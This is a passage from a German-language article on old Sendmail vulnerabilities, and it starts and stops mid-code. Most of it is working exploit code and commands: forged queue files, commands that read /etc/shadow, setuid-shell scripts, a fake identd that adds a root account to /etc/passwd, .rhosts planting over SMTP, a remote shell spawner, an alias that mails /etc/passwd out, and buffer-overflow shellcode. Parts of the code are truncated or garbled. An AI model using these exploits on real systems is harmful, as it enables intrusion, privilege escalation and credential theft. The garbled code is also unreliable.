waitpid(chpid,NULL,0);
#endif
return 0;
}

Erweiterte Lese-/Schreibrechte dank den Optionen "-q" und "-oQ"

Dieser Fehler nutzt die beiden Optionen "-q" und "-oQ", was dem Anwender das Recht jede Datei zu löschen und lesen gibt. Als Angreifer muss nur eine qf-Datei erstellt werden, welche sich in /usr/spool/mqueue wiederfindet. Das ganze sollte in etwa so aussehen:

P28
T599831504
Dfilename
Suser
Ruser
H?P?return-path:
H?F?from: user (User Name)
H?x?full-name: User Name
HTo: user
Hsubject: Drin

Nach der Eingabe des Kommandos "sendmail -q -oQ", die Datei "Filename" wird gelöscht, und deren alter Inhalt wird an "User" gemailt.

Die Option "oQ" legt fest, welches Verzeichnis als Warteschleife für Nachrichten gelten soll. Die Option "q" veranlasst den Daemon die Queue abzuarbeiten.

Erweiterte Lese-Rechte dank der "-oE/Datei-Name bounce"-Option

Diese Bug existiert in der Sendmail Version 8.6.7 and erlaubt jedem das Lesen aller Dateien, somit ist auch das Erlangen des Wissens um den Inhalt der shadowed Passwort-Datei möglich:

/usr/lib/sendmail -oE/etc/shadow bounce
From: Username

Erweiterte Lese-Rechte dank der "-C"-Option

Durch die "-C"-Option kann unter DYNIX 3.0.14 und ULTRIX 2.x ein alternatives Config-File, eigentlich einfach eine geschützte Datei, die nicht wirklich eine Sendmail-Konfigurations-Datei ist, benutzt werden, welche indirekt Lesezugriff auf jede Datei im System erlaubt. Sendmail wird nämlich beim Einlesen der korrupten Config-Datei den Inhalt der jener ausgeben:

$ sendmail -C /etc/shadow
<Inhalt von /etc/shadow>

Erweiterte Lese-Rechte dank .forward

Falls Dateien und Programme zugestellt werden, Sendmail führt keine initgroup(3) nach dessen Beendigung bzw. Zustellung aus. Somit wird es mit den Rechten des Empfängers genutzt. Dies kann zu gefährlichen Umständen führen, da ein Angreifer eine Datei mittels der ".forward"-Datei an sich weiter- bzw. umleiten kann.

Nachdem nun eine Adresse in der From-Zeile des eingehenden E-Mails auf die lokale Maschine verwies, welche durch die ".forward"-Datei auf die Queue geschickt wird, kann Sendmail bei der Abarbeitung dieser Warteschleife nicht wissen, mit welchen Rechten nun tatsächlich vorgegangen werden darf. Im Allgemeinen wird nämlich die uid des Absänders genutzt. Infolgedessen kann ein Benutzer nun ein erhaltenes Programm laufen lassen, egal welche Rechte es eigentlich standartmässig erforderte.

Mit dem nun folgenden C-Quelltext namens "sploit.c" ist es möglich die eigene UID zu wechseln. Der Source muss einfach ausführbar im eigenen Home-Directory kompiliert werden. Danach erstellt man eine ".forward"-Datei, welche folgende Zeile enthält:

\<user>, "|<pfad>/sploit"

Vor einer solchen Anktion sollte unbedingt der User-Name geändert werden, da mit ziemlicher Wahrscheinlichkeit Mails verloren gehen werden. Ausserdem muss als Pfad das eigene Home-Verzeichnis angegeben werden. Ist dies alles getan, muss man sich selber ein Mail schicken. Beim Einsehen von "/tmp/whoami" erkennt man, dass sploit mit den eigenen User-Rechten läuft. Jetzt kann die Queue ausgeführt werden, wobei sploit das Mail akzeptiert und beendet. Ein weiterer Check von "tmp/whoami" ergibt, dass sploit nun mit den Rechten des Absenders läuft. Sploit kann somit das root initgroups()-Sicherheitsloch ausnutzen.

     #include <sys/param.h>
     #include <sys/types.h>
     #include <stdio.h>
     #include <sysexits.h>
     #include <pwd.h>
     #include <grp.h>

     #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */

     #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
     #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */

     main()
     {
     FILE *fp;
     uid_t myuid;
     int i, rval, ngrps, grplst[NGROUPS];

     if ((myuid = getuid()) == MYUID)
     rval = EX_TEMPFAIL;
     else
     rval = EX_OK;

     if ((fp = fopen("/tmp/whoami", "a")) != NULL) {

     /* real user/group ids */
     fprintf(fp, "%susr:%s grp:%s",
     (rval == EX_OK)? "": "Def> ",
     getuser(myuid), getgrp(getgid()));

     /* effective user/group ids */
     fprintf(fp, " eusr:%s egrp:%s",
     getuser(geteuid()), getgrp(getegid()));

     /* group list */
     if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
     fprintf(fp, " grps:");
     for (i = 0; i < ngrps; i++)
     fprintf(fp, " %s", getgrp(grplst[i]));
     }
     fprintf(fp, "\n");

     (void) fclose(fp);
     }

     exit(rval);
     }

Und speziell für Sendmail Version 5.61:

/*
 * 1) set the #define UID, at the top of the program to be your's
 * 2) create a file: /tmp/.shell, which is a script to make a suid shell
 * 3) compile the program and name it say, /tmp/.magic
 * 4) create a .forward file containing: '|/tmp/.magic'
 * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
 *    you want a shell from (but not root :-( RATS!)
 * 6) wait abit, it usually works ...
 */

#define UID 777   /* change to your uid */

#include <sys/param.h>
#include <sys/types.h>
#include <stdio.h>
#include <sysexits.h>
#include <pwd.h>
#include <grp.h>

#define SHELLFILE  "/tmp/.shell"

main()
        int myuid, rval;

        if ((myuid = getuid()) == UID)
                rval = EX_TEMPFAIL;
        else {
                rval = EX_OK;
                system(SHELLFILE);
        }
        exit(rval);
}

Erweiterte Lese-Rechte durch das Mailen einer Datei an sich selbst

Vor Version 8.6.9 war es möglich sich jede Datei mit folgendem Script zu mailen:

# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#       description
#       sm869.local
#       sm869.remote
#
echo x - description
sed 's/^X//' >description << 'END-of-description'
X
XProgram: sm869.remote
X
Xyou can:
X
X   run the body of the mail through a shell if
X   sendmail is allowed to run a shell.
X
X   write the whole message to a file.
X
X   have it send back a file to an account you specify.
X
XThe last option is supposed to remove the file after sending
Xit but I found that it hasn't in my tests.  Why?  Well
Xit has multiple recipients, one of the recipients is a
Xrecipient that will never go through.  So the data file
Xgets kept around until it gives up on that host.  This
Xcan be several days.
X
XProblems:
X
X  The action you specify will happen every 30minutes (the
X  queue time, may be different) until it gives up sending
X  to the unreachable host.  (Actually this may be false.
X  I haven't left it around long enough to see if this happens.
X  Perhaps sendmail is smart enough to remove the other recipients
X  that did get delievered from the queue file).
X
X  If you send a file back to yourself it may get removed
X  several days later.  If you get the password file or
X  some other critical file you had better be ready to clean
X  up.
X
X  Lots of logs.  Its fairly obvious from the log files that
X  some hokey pokey is going on.  If you're sending a file
X  back to yourself then you're pointing a finger at one
X  of your accounts
X
XYou have to go into the program to change the options you
Xwant.  The code is fairly well commented so this shouldn't
Xbe any problem.
X
XProgram: sm869.local
X
XSame thing as above really except it works even if sendmail
Xdoesnt check identd and you dont have to specify an unreachable
Xhost.  The file goes straight to the queue.
X
END-of-description
echo x - sm869.local
sed 's/^X//' >sm869.local << 'END-of-sm869.local'
X#!/bin/sh
X#
X# Exploit hole in sendmail 8.6.9 and earlier.
X#
X
X# Either write a file or run a program.
X#ACTION="|/tmp/runme"
XACTION="/tmp/writeme"
X
X# Data file to read from and then remove
XDATAFILE="/tmp/abc"
X#DATAFILE=""
X
X# Who to run as
XRUNAS="bin"
X
X# Who to send mail to
XWHOAMI=`whoami`
XSENDTO=$WHOAMI
X#SENDTO="someone-else"
X
X# Build up arg and send it off
Xif [ -n "$DATAFILE" ] ; then
XARG="$WHOAMI
XD$DATAFILE
XC:$RUNAS
XR\"$ACTION\""
Xelse
XARG="$WHOAMI
XC:$RUNAS
XR\"$ACTION\""
Xfi
Xsendmail -odq -F"$ARG" $SENDTO << _END_
XThis is appearing in the mailbox
Xand also being piped to the program or
Xwritten to the file, UNLESS you specify
Xa datafile above.  In that case the datafile
Xwill be written and erased and this text will
Xbe left (not deleted) in the queue directory.
X_END_
X
END-of-sm869.local
echo x - sm869.remote
sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
X#!/bin/sh
X#
X# exploit for sm869 or worse
X# identd must not be enabled (port 113 must be free)
X
X# this must be a host that mail can go to (MX not pointing elsewhere)
X# that we cant reach right now (ie. host doesnt exist anymore)
XUNREACHABLE="goofy.uhcc.hawaii.edu"
X
X# Commands to run on remote host
XCOMMANDS="touch /tmp/gotcha"
X
X# what host to run it on
XTARGET="localhost"
X
X# work in a temp dir
XTD=/tmp/.Xwork.$$
Xmkdir $TD
Xcd $TD
X
Xcat > a.c <<_END_
X#include <sys/types.h>
X#include <sys/socket.h>
X#include <netinet/in.h>
X
X/* run body of mail through shell run as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed
'1,/^$/d'|/bin/sh\"\nHXxx:
"
X
X#ifdef other_possibilities
X/* write to a file as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
X/* send back a file to someone and erase it */
X#define REPLY "USERID : UNIX :
a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
X#endif
X
Xreadline(fd, buf, len)
Xchar *buf;
X{
X    int i = 0;
X
X    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
X       if(buf[i] == '\r' || buf[i] == '\n')
X           break;
X       i++;
X    }
X    buf[i] = '\0';
X}
X
Xdie(str)
Xchar *str;
X{
X    perror(str); exit(1);
X}
X
Xmain()
X{
X    int s, s2, adlen;
X    struct sockaddr_in ad;
X    char buf[60];
X
X    ad.sin_family = AF_INET;
X    ad.sin_port = htons(113);
X    ad.sin_addr.s_addr = INADDR_ANY;
X    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
X    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
X    if(listen(s, 1) == -1) die("listen");
X    adlen = sizeof(ad);
X    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
X    if(s2 == -1) die("accept");
X    printf("Connection from %s port %d\n",
X        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
X    readline(s2, buf, 50);
X    sprintf(buf + strlen(buf), " : %s\n", REPLY);
X    write(s2, buf, strlen(buf));
X}
X_END_
X
X# compile program
Xecho "compiling"
Xcc a.c -o ident
Xecho "running fake ident"
X./ident &
X
X# send to reomte
Xecho "talking to remote"
X(
X  sleep 1; echo "helo"
X  sleep 1; echo "mail from: "
X  sleep 1; echo "rcpt to: "
X  sleep 1; echo "data"
X  echo "$COMMANDS"
X  echo "."
X  sleep 1; echo "quit"
X  sleep 5
X) | telnet $TARGET 25
X
X# cleanup
Xcd /
Xrm -rf $TD
Xecho "done."
X
END-of-sm869.remote
exit

Fehler bei der Handhabung der Kontroll-Dateien

Die nun folgend beschriebene Methode erlaubt es dem Sendmail von Sun in der Version 5 eine Kontroll-Datei namens /usr/spool/mqueue/qf* zu öffnen. Eine race condition ist jeweils gegeben, wenn ein anderer Prozess eine Kontroll-Datei zur Bearbeitung öffnet. Sendmail V5 bestimmt umask(0) bei dessen Ausführung, welche als unsichere Bestimmung gilt, da die Datei dann von jedem User im System eingesehen und verändert werden kann. Es benutzt gleichzeitig chmod(2) um die Rechte für eine zu schützende Datei gesetzt werden sollen. Nutzt nun ein User die Zeitspanne zwischen den beiden Wechseln, was die Zugriffsrechte anbelangt, zu seinem Vorteil aus, kann er die Datei beliebig manipulieren. Zu erwähnen sein unbedingt, dass lokale Nutzer grundsätzlich ihre eigenen Control-Dateien schreiben können, und Programme sie anstandslos als Root ausführen.

Quelltext des Exploits (grabfd.c):

/*
 * grabfd.c
 * usage: grabfd username command-file
 *
 *      username: user to execute 'command-file' as.
 *      command-file: file containing 10 lines of shell commands to execute.
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <sys/param.h>

#ifndef SENDMAIL
#define SENDMAIL "/usr/lib/sendmail"
#endif

#ifndef SPOOL_DIR
#define SPOOL_DIR "/usr/spool/mqueue"
#endif

char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";

main(argc,argv)
int argc;
char **argv;
{
        int pid, fd;
        char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];

        if (argc != 3) {
                (void)fprintf(stderr, "%s: user file\n",
                        argv[0]);
               exit(1);
        }

        if (getpwnam(argv[1]) == NULL)
                (void)fprintf(stderr, "%s: user %s unknown (error
ignored)\n",
                        argv[0],
                        argv[1]);

        if (access(argv[2], F_OK) == -1) {
                (void)fprintf(stderr, "%s: %s does not exist.\n",
                       argv[0],
                       argv[2]);
               exit(1);
        }

        if (access(SPOOL_DIR, X_OK) == -1) {
                (void)fprintf(stderr, "%s: cannot access %s.\n",
                        argv[0],
                        SPOOL_DIR);
                exit(1);
        }

        if (pid=fork()) {

                if (pid == -1) {
                        (void)perror("fork");
                        exit(1);
                }

                (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
                (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);

                for (;;)
                        if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
                                (void)printf("%s: grabbed queue fd.\n",
                                             argv[0]);
                                (void)wait();
                                (void)ftruncate(fd, 0);
                                (void)write(fd, sysbuf, strlen(sysbuf));
                                (void)close(fd);
                                if(execl(SENDMAIL,
                                      "sendmail", "-q", (char *)0) == -1) {
                                        (void)perror("execl");
                                        exit(1);
                                        };
                        }
        } else {
                (void)close(0);
                if (open("/etc/motd", O_RDONLY, 0) == -1) {
                        (void)perror("open");
                        exit(1);
                };

                if (execl(SENDMAIL,
                          "sendmail",
#ifdef sun
                          "-os",
#endif
                          "-odq", getlogin(), (char *)0) == -1) {
                        (void)perror("execl");
                        exit(1);
                };
        }
        exit(1);
}

Fehlimplementation des Turn-Kommandos

Mit diesem uralten Trick war es möglich mittels des Turn-Kommandos Mails von anderen Usern zu stehlen.

Lokale DoS-Attacke

Die lokale Warteschlange von Sendmail ermöglicht bis zur Version 8.9.3 Denial of Service-Attacken.

Schutz vor einer solchen Attacke kann das Einsetzen von Sendmail als nosuid-Daemon, sowie das Ändern der Rechte von /var/spool/mqueue sein.

Makros mit Root-Rechten ausführen dank der "-oM"-Option

In der von Sun ausgegebenen Version 4.x von Sendmail nutzt der Daemon die "-oM"-Option um Makros mit Root-Rechnten auszuführen. Aus diesem Grunde sollten nicht wahllos Makros auf diese Weise ausgeführt werden.

Quelltext der zu erstellenden Datei "sunsendmailcp":

#!/bin/sh
#
# sunsendmailcp from to

if [ $# -ne 2 ]; then
        echo usage: `basename $0` from to
        exit 1
fi

rm -f /usr/tmp/dead.letter
if [ -f /usr/tmp/dead.letter ]; then
        echo sorry, cant continue - /usr/tmp/dead.letter exists
fi

if [ ! -r $1 ]; then
        echo $1 doesnt exist or is unreadable
        exit 1
fi

ln -s $2 /usr/tmp/dead.letter
/usr/lib/sendmail -L0 '-oM#anything' $USER < $1
rm /usr/tmp/dead.letter
exit 0

Nun muss folgendes Kommando ausgeführt werden, damit die Ziel-Datei erstellt wird:

% ./sunsendmailcp quelldatei zieldatei

Nicht-Root-Dateien überschreiben

Extern eingeloggte Anwender haben die Möglichkeit Dateien, die nicht Root gehören, zu schreiben. Dieser Fehler wurde definitiv in der von Berkley herausgegebenen 5.59-Version gefixt.

% cat evil_sendmail
telnet domain.org 25 << EOSM
rcpt to: /home/guest/.rhosts
mail from: guest
data
random garbage
.
rcpt to: /home/guest/.rhosts
mail from: guest
data
domain.org
.
quit
EOSM

guest % /bin/sh evil_sendmail
Trying 62.2.92.65
Connected to domain.org
Escape character is '^]'.
Connection closed by foreign host.

evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %

Overflow Input Buffer

Mir ist dieser Bug nur aus uralten Dokumenten bekannt, und somit kann und will ich keine technischen Informationen niederschreiben, um das Verbreiten von Unwahrheiten zu verhindern.

Remote-Zugriff als BIN

Es ist Möglich Zugriff als User bin auf einem Zielsystem zu erhalten, und da bin Zugriff auf das /etc-Verzeichnis hat, ist auch der Weg zu Root schlussendlich nicht mehr weit.

Folgendes Script mit dem Namen "rsend" benötigt mconnect, welches ein Binary-File ist, welches bloss eine Verbindung herstellt und Daten sendet. Falls das Ausführend des Scripts die Ausgabe "Command Unknown" ausgibt, ist das betroffene System nicht anfällig auf diesen Exploit.

#!/bin/sh
# Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
#
# This material is copyrighted by Scott Chasin, 1992, 1993. The
# usual standard disclaimer applies, especially the fact that the
# author is not liable for any damages caused by direct or indirect
# use of the information or functionality provided by this program.
#
# Description:
#
# Exploit NEW sendmail hole  and bind a port so we can spawn a program.
# Not for distribution under any circumstances
#
# Usage: smail
# default: smail

port=$3
user=$2
cmd=$4

if [ -z "$2" ]; then
   user=daemon
fi

if [ -z "$3" ]; then
   port=7002
fi

if [ -z "$4" ]; then
   cmd="/bin/csh -i"
fi

(
sleep 4
echo "helo"
echo "mail from: |"
echo "rcpt to: bounce"
echo "data"
echo "."
sleep 3
echo "mail from: $user"
echo "rcpt to: | sed '1,/^$/d' | sh"
echo "data"
echo "cat > /tmp/a.c <<EOF"
cat <<  EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;int **av;{struct sockaddr_in mya;struct servent *sp;fd_set muf;int myfd,new,x,maxfd=getdtablesize();signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,0))s_port;if(bind(myfd,(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,1)

Es ist auch ein Upload auf Port 25 möglich. Dadurch wird der Betrieb eines Programms gestertat, welches auf Port 7008 horcht. Danach muss einfach eine Telnet-Verbindung zu Port 7008 hergestellt werden und ab dann wird das Erstellen von neuen Benutzern in "/etc/passwd" möglich, da man ab sofort das etc-Verzeichnis "besitzt". Es ist von Nöten nach jeder Zeile bzw. Kommando ein Semikolon (";") einzugeben, obwohl jeweils dadurch eine Fehlermeldung herbeigerufen wird. Jene muss einfach ignoriert werden.

helo
mail from: |
rcpt to: bounce
data
.
mail from: bin
rcpt to: | sed '1,/^$/d' | sh
data
cat > /tmp/a.c <<EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))s_port;if(bind(myfd,(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,1)

Root-Rechte dank der "-oR"-Option

Die "-oR"-Option von Sendmail bis Version 4.1.X bis 5.22 von Sun nutzt popen() um ein unzustellbares Mail an den Absender zu retournieren. Mittels dieser Option kann ein lokaler User Root-Zugriffsrechte erlangen.

Quelltext des Exploits (ropt.sh):

#!/bin/sh
#
# Syntax: roption host
#
# host is any system running sendmail (except localhost).
#
# This exploits a flaw in SunOS sendmail(8), and attempts
# create a suid root shell
#
# Written 1995 by [8LGM]
# Please do not use this script without permission.
#

PROG="`basename $0`"
PATH=/usr/ucb:/usr/bin:/bin      export PATH
IFS=" "                          export IFS

# Check args
if [ $# -ne 1 ]; then
        echo "Syntax: $PROG host"
        exit 1
fi

# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
        echo "Sorry, this only works on SunOS"
        exit 1
fi

PROG="`basename $0`"

EXECME=/tmp/HotterThanMojaveInMyHeart

# Create EXECME.c

cat > $EXECME.c << 'EOF'
main(argc,argv)
int argc;
char *argv[];
{
        chown("/tmp/InfamousAngel", 0, 0);
        chmod("/tmp/InfamousAngel", 04755);
}
EOF

cc -o $EXECME $EXECME.c

# Check we have EXECME

if [ ! -x $EXECME ]; then
        echo "$PROG: couldnt compile $EXECME.c - check it out"
        exit 1
fi

/bin/cp /bin/sh /tmp/InfamousAngel
# Run sendmail

/usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
To: No1InParticular

Hows it goin
EOF

exec /tmp/InfamousAngel

Schreibrechte des Daemons erhalten dank Decode Alias

Falls "etc/aliases" den String "|/usr/bin/uudecode" enthält, kann jeder auf dem besagten System eine Mail zur Dekodierung schicken und somit beliebige Dateien mit den Rechten des Daemons schreiben.

Um nun die Existenz des besagten Strings auf einem Ziel-Rechner in Erfahrung zu bringen, muss per Telnet wie folgt mit dem SMTP-Server kommuniziert werden:

% telnet victim.com
Trying 62.2.92.250
Connected to victim.com
Escape character is '^]'.
220 domain.org Sendmail 5.55 ready at Fri, 17 Mar 00 18:00 EST
expn decode
250 <"|/usr/bin/uudecode">
quit

% echo "victim.com" | uuencode /usr/bin/.rhosts | mail decode@victim.com

% cat > outfile # Erstellt eine .rhost-Datei
+ +
^C
% uuencode outfile /usr/bin/.rhosts
begin 644 /bin/.rhosts
$*R'K"O\

% telnet victim.com 25
220 victim.com SunOS Sendmail 8.6.1 #5 ready at Fri, 17 Mar 00 18:00 (EST)
VRFY decode
250 <|/usr/bin/uudecode>
MAIL FROM: bin
250  ... Sender Okay
RCPT TO: decode
250  ... Recipient Okay
DATA
354 Enter mail, end with "." on a line by itself
begin 644 /bin/.rhosts
$*R'K"O\                       # which is just "+ +" uuencoded

end
.
250 Mail accepted
quit
221 victim.com closing connection
Connection closed by foreign host.
% rlogin fuqdhost.com -l bin
$

In vielen Fällen ist natürlich kein Home-Directory bekannt oder beschreibbar, so dass eine interessante Variante des oben genannten Fehlers zum Zuge kommt. Auf der nun besagten Weise muss ein Bogus von /etc/aliases.pag erstellt werden, welches ein Alias mit dem zur Ausführung gewünschten Kommando enthält. Diese spezielle Variante funktioniert auf vielen Systemen, auf dem die Dateien aliases.pag und aliases.dir enthalten sind. Diese Dateien regeln die Mail-Aliases und sind für alle User eines Systems beschreibbar.

erde % cat decode bin: "| cat /etc/passwd | mail user@erde.com"
erde % newaliases -oQ/tmp -oA`pwd`/decode
erde % uuencode decode.pag /etc/aliases.pag | mail decode@domain.org
erde % /usr/lib/sendmail -fbin -om -oi bin@domain.org < /dev/null

Sendmail akzeptiert alles von ident

Folgend nun zwei Scripte, die ein ein Problem, welches in Sendmail 8.6.10 gesichtet wurde, ausnutzen:

/* 8.6.10 sendmail attacker
 *
 * gcc ident.c -o ident
 * add the following line to your /etc/inetd.conf:
 * ident  stream tcp  nowait  root  /tmp/ident  in.identd
 * then kill -HUP inetd
 *
 * Not for not public use or disclosure.
 *
 * This is a sendmail 8.6.10 attack based on the problems that
 * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
 * information given to it by identd, which included bogus characters
 * and newlines that it later appended to the queue file.  Sendmail 8.6.10
 * supposedly "strips" newlines before they are written, however, it
 * converts them to spaces, and the following code demonstrates that
 * quick work-around patches are never ever stable...
 *
 * NOTES:  This hack only works when sendmail queues up the message for
 * later delivery.  This depends on the configuration of sendmail.cf and
 * on the machine loading.  If you can do something to drag the machine to
 * its knees, then fire off this attack, you stand a much better chance of
 * success.
 *
 * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
 * default user to bin.bin), this exploit will not work.
 *
 * Also, since this only works when sendmail queues up the message for
 * later delivery, the time of execution is dependant on how sendmail
 * has been configured in sendmail.cf and machine load.  Heavily loaded
 * machines (or machines that have been intentionally flooded) have a
 * greater possibility of this exploit working.
 *
 */

#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* TIMEOUT is the number of seconds to wait before closing the connection if
 * the client doesn't provide the port pairs.
 */

#define TIMEOUT 120
/* PROCINFO_BUFFER_SIZE must be bigger than 80 */
#define OUTPUT_BUFFER_SIZE 2048
#define SOCKET_BUFFER_SIZE 100

unsigned short lport = 0, rport = 0;

void
main ()
{
    unsigned long here, there;
    struct fd_set fdset;
    struct timeval timeout;
    char buffer[OUTPUT_BUFFER_SIZE];
    char inbuffer[SOCKET_BUFFER_SIZE];
    int len;
    int fd;

    FD_ZERO (&fdset);
    FD_SET (0, &fdset);
    timeout.tv_sec = TIMEOUT;
    timeout.tv_usec = 0;

    select (1, &fdset, NULL, NULL, &timeout);
    len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
    if (len <= 0)
    exit (0);
    FD_SET (0, &fdset);

    sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
    "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
    P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh
 >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
    write (1, buffer, strlen (buffer));
    exit (0);
}

Das zweite Exploit:

/* 8.6.10 sendmail attacker
 *
 * gcc ident.c -o ident
 * add the following line to your /etc/inetd.conf:
 * ident  stream tcp  nowait  root  /tmp/ident  in.identd
 * then kill -HUP inetd
 *
 * Not for not public use or disclosure.
 *
 * This is a sendmail 8.6.10 attack based on the problems that
 * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
 * information given to it by identd, which included bogus characters
 * and newlines that it later appended to the queue file.  Sendmail 8.6.10
 * supposedly "strips" newlines before they are written, however, it
 * converts them to spaces, and the following code demonstrates that
 * quick work-around patches are never ever stable...
 *
 * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
 * default user to bin.bin), this exploit will not work.
 *
 * Also, since this only works when sendmail queues up the message for
 * lar delivery, the time of execution is dependant on how sendmail
 * has been configured in sendmail.cf and machine load.  Heavily loaded
 * machines (or machines that have been intentionally flooded) have a
 * greater possibility of this exploit working.
 *
 */

#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* TIMEOUT is the number of seconds to wait before closing the connection if
 * the client doesn't provide the port pairs.
 */

#define TIMEOUT 120
/* PROCINFO_BUFFER_SIZE must be bigger than 80 */
#define OUTPUT_BUFFER_SIZE 2048
#define SOCKET_BUFFER_SIZE 100

unsigned short lport = 0, rport = 0;

void
main ()
{
    unsigned long here, there;
    struct fd_set fdset;
    struct timeval timeout;
    char buffer[OUTPUT_BUFFER_SIZE];
    char inbuffer[SOCKET_BUFFER_SIZE];
    int len;
    int fd;
    FD_ZERO (&fdset);
    FD_SET (0, &fdset);
    timeout.tv_sec = TIMEOUT;
    timeout.tv_usec = 0;

    select (1, &fdset, NULL, NULL, &timeout);
    len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
    if (len <= 0)
    exit (0);
    FD_SET (0, &fdset);
    sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
    "Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t
    Mlocal,
    P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/:
/bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n
    $rascii done");
    write (1, buffer, strlen (buffer));
    exit (0);
}

Programmcode mit Root-Rechten ausführen dank Bufferoverflow

In der Version 8.x.x konnte ein Bufferoverflow erzwungen werden, welche dem Anwender das Überschreiben der Informationen im stack-frame. Dadurch kann Programmcode mit UID 0 ausgeführt werden. Dieser Bug wurde in der Version 8.8 beta gefixt.

Hier der Source des Exploits:

/*                               Hi !                                       */
/* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0).     */
/* If you have any problems with it, send letter to me.                     */
/*                             Have fun !                                   */
 

/* -----------------   Dedicated to my beautiful lady   ------------------  */
/* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su                 */

#include <stdio.h>
main()
{
void make_files();
     make_files();
     system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e
cho See result in /tmp");
}

void make_files()
 {
  int i,j;
  FILE *f;
  char nop_string[200];
  char code_string[]=
                      {
                         "\xeb\x50"                         /* jmp
cont */

/* geteip: */            "\x5d"                             /* popl
%ebp */
                         "\x55"                             /* pushl
%ebp */
                         "\xff\x8d\xc3\xff\xff\xff"         /* decl
0xffffffc3(%ebp) */
                         "\xff\x8d\xd7\xff\xff\xff"         /* decl
0xffffffd7(%ebp) */
                         "\xc3"                             /* ret */

/* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
/* 0xffffffc3(%ebp): */ "\x3c"
                        "chmod a=rsx /tmp/sh"
/* 0xffffffd7(%ebp): */ "\x01"
                        "-leshka-leshka-leshka-leshka-"    /* reserved */

/* cont:  */            "\xc7\xc4\x70\xcf\xbf\xef"         /* movl
$0xefbfcf70,%esp */
                        "\xe8\xa5\xff\xff\xff"             /* call
geteip */
                        "\x81\xc5\xb4\xff\xff\xff"         /* addl
$0xb4ffffff,%ebp */
                        "\x55"                             /* pushl  %ebp */
                        "\x55"                             /* pushl  %ebp */
                        "\x68\xd0\x77\x04\x08"             /* pushl
$0x80477d0
 */
                        "\xc3"                             /* ret */
                        "-leshka-leshka-leshka-leshka-"    /* reserved */
                        "\xa0\xcf\xbf\xef"
                     };

  j=269-sizeof(code_string);
  for(i=0;i\"$1\"\n");
  fprintf(f,"touch -t 2510711313 \"$1\"\n");
  fclose(f);
}

Programmcode mit Root-Rechten ausführen dank mime7to8()-Funktion

Einem Angreifer ist es möglich einen Bug der mime7to8()-Funktion in Sendmail Version 8.8.0 auszunutzen, wobei dadurch jedem, der über das besagte System Mails versenden kann, beliebigen Programmcode mit Root-Rechten ausführen darf.

Programmcode mit Root-Rechten ausführen dank symbolischem Link

